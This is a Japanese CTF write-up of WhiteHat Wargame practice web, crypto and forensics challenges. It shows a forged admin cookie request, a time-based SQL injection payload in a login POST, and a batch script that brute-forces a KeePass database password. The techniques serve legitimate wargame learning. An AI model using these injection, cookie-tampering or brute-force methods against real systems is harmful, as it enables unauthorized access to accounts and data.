WhiteHat WARGAME Challenge 01開催前のChallengeにいくつか問題があったので解いてみました。コンテストの問題ではありません。Challenge 01開催と同時に問題が見えなくなった(終わっちゃった?)ので問題文は今は見れないです。
本チャンのChallenge 01はHarekazeで出ましたが、私は私用で時間が取れず、flagも取れず……チームメンバに感謝っ・・・・!圧倒的感謝っ・・・・!
下記はHarekazeのWriteupです。
●Web001
HTMLソースの最終行にコメントアウトされていました。
WhiteHat{f6faf5e94db80f28e0ce18a1d8599c16ab1b3c1c}
おわり。
●Web002
HTMLソースにヒントがコメントアウトされています。
<!-- You can find it, but search engines can not --> なので、robots.txtっぽい。
http://lab10.wargame.whitehat.vn/web002/robots.txt にアクセスします。
Textファイルが見えました。http://lab10.wargame.whitehat.vn/web002/protected/s3cr37.txt にアクセスします。
WhiteHat{f3c3b1dd80fe22038857661a75db31612bf3695c}
当たり。
●Web003
HTMLソースにtest/testとあるので、それでログインを試みます。
adminじゃないよ、と怒られました。同時にuserというcookieが発行されます。
javascript:alert(document.cookie)
adminに変えちゃいましょう。
GET /web003/index.php HTTP/1.1
Host: lab10.wargame.whitehat.vn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ja,en-US;q=0.7,en;q=0.3
Cookie: user=admin
Connection: close
Upgrade-Insecure-Requests: 1
WhiteHat{c626978503a7feafab95edeb084be0a35271c754}
すごーい!
●Web004 (未完)
HTMLソースを見るとJSF*ckです。jQueryも使われているようです。
デコーダがあるようなので、まずはデコード。
もう二山くらい頑張らないとダメそう。Developer Tools使う感じかな。
●Web005 (未完)
ログイン画面です。SQLインジェクションで探ってると、sleep関数が刺さった。
POST /web005/index.php HTTP/1.1
Host: lab10.wargame.whitehat.vn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ja,en-US;q=0.7,en;q=0.3
Referer: http://lab10.wargame.whitehat.vn/web005/index.php
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
uname='%2b(select*from(select(sleep(5)))a)%2b'&pass=&Login=Logina
ログインのバイパスだと思うので、あとは'A'='A'--とかやるだけ。(やれ)
※Web006もパラメータ見てるとQueryStringのidにSQLインジェクションができそう。
●Crypto001
CipherがROT-nっぽいので総当りの結果、ROT 6でWhiteHatと読めたので、自家製ツールに放り投げました。
WhiteHat{52915a4731522b93613f74a52d26f6a62ac8c5bd}
正解!
自家製ツールの詳細は過去記事をどうぞ。
●For002
pcapファイルが配布されました。まずはwhitehatで検索かけてみました。
http://lab40.wargame.whitehat.vn/for002/stark_4bf8125fc8eae262a9e9842611ade67a.kdb といういかにも怪しいURL出てきました。落ちてきたkdbというファイルは、どうやらKeePassというパスワード管理ツールのDBらしい。(いわゆる1Password)
kdbのパスワードをCrackしろっということだと思うんですが、もうちょっと情報が欲しい。URLを含むパケット見てると、どうやらYahoo! Messengerのやり取りのようです。TCPストリームを追跡して会話の流れを追います。
会話をかいつまむと、
ここにkdbファイルおいたよ(上記URL)→パスワード分からん→あれだよ、数字5桁のやつ(the 5-digits number that we talk about all the time.)→なるほどサンキュー確認するよ
とのことです。つまり、kdbのパスワードは数字5桁。なるほどブルートフォースですね。調べるとjohnにkeepass2johnが同梱されているのでこれを使う。だったんだけど、上手くいかず。いろんな総当りツールを試しても、kdbのバージョン(1.xと2.x)によって動かなかったので、視点を変えてCUIツールで代用しました。kpcliというコマンドラインで操作するツールがあるので、これでWindowsバッチファイル書いて総当りしました。
@ECHO OFF
for /L %%i in (10000,1,99999) do (
TYPE NUL> pw.txt
ECHO %%i
ECHO %%i> pw.txt
kpcli-3.1 --kdb stark_4bf8125fc8eae262a9e9842611ade67a.kdb --pwfile pw.txt
)
パスワードは10000〜99999だろうという決め打ちの酷いスクリプトですが、一応総当り出来てます。単発だとVM環境のi7 2.6GHz(4C/4T)で2時間強で回りきります。単発では待ってられんので、並列で5000か10000区切りで計算機の暴力で殴りました。
※00000〜09999だった場合、頭に0を付けてあげるように書き換えればいいだけです。
※kpcli -helpでヘルプを見ると、--pwfilesという引数がありますが、この引数だとそんな引数ないと怒られました。手探りで探すと正しくは--pwfileのようです。
総当りの結果、「61930」でパスワードがマッチしたのでこれが正解です。
※お手元でやりたい場合、FOR文を for /L %%i in (61920,1,99999) に変えて実行するとすぐ結果が得られます。素直にjohnでやった方がいいですが……
開くと、http://lab40.wargame.whitehat.vn/for002/4fad5214bb6d00b11565fa63af289b02/ の認証情報が見えました。アクセスします。
64個のWordファイルがずらーっと出てきました……ドキュメントの内容は何かのPublishのようです。おそらくこれらのどれかにflagがありそう。全部ダウンロードします。
とりあえず、flagかWhiteHatでgrepしてみます。
きな臭いのが出てきました。「High-Speed Rail, Regional Economics.docx」をバイナリエディタで確認します。
docProps/flag.xml というのが見えました。これっぽいですね。.docx はXMLのフォーマットを採用しており、アーカイバで中身を展開できます。なので、展開してみます。
/docProps
flag.xml がいました。開きます。
WhiteHat{1a4df3727f5ed3af27f2ff21beb3e0a5b6bc4321}
kdbのパスワードが数字5桁だったのと、/word/mediaの中の壊れた画像ファイルにflagが……のパターンではなくて良かった。
500ptだったので、ランキングがめっちゃ上がりました。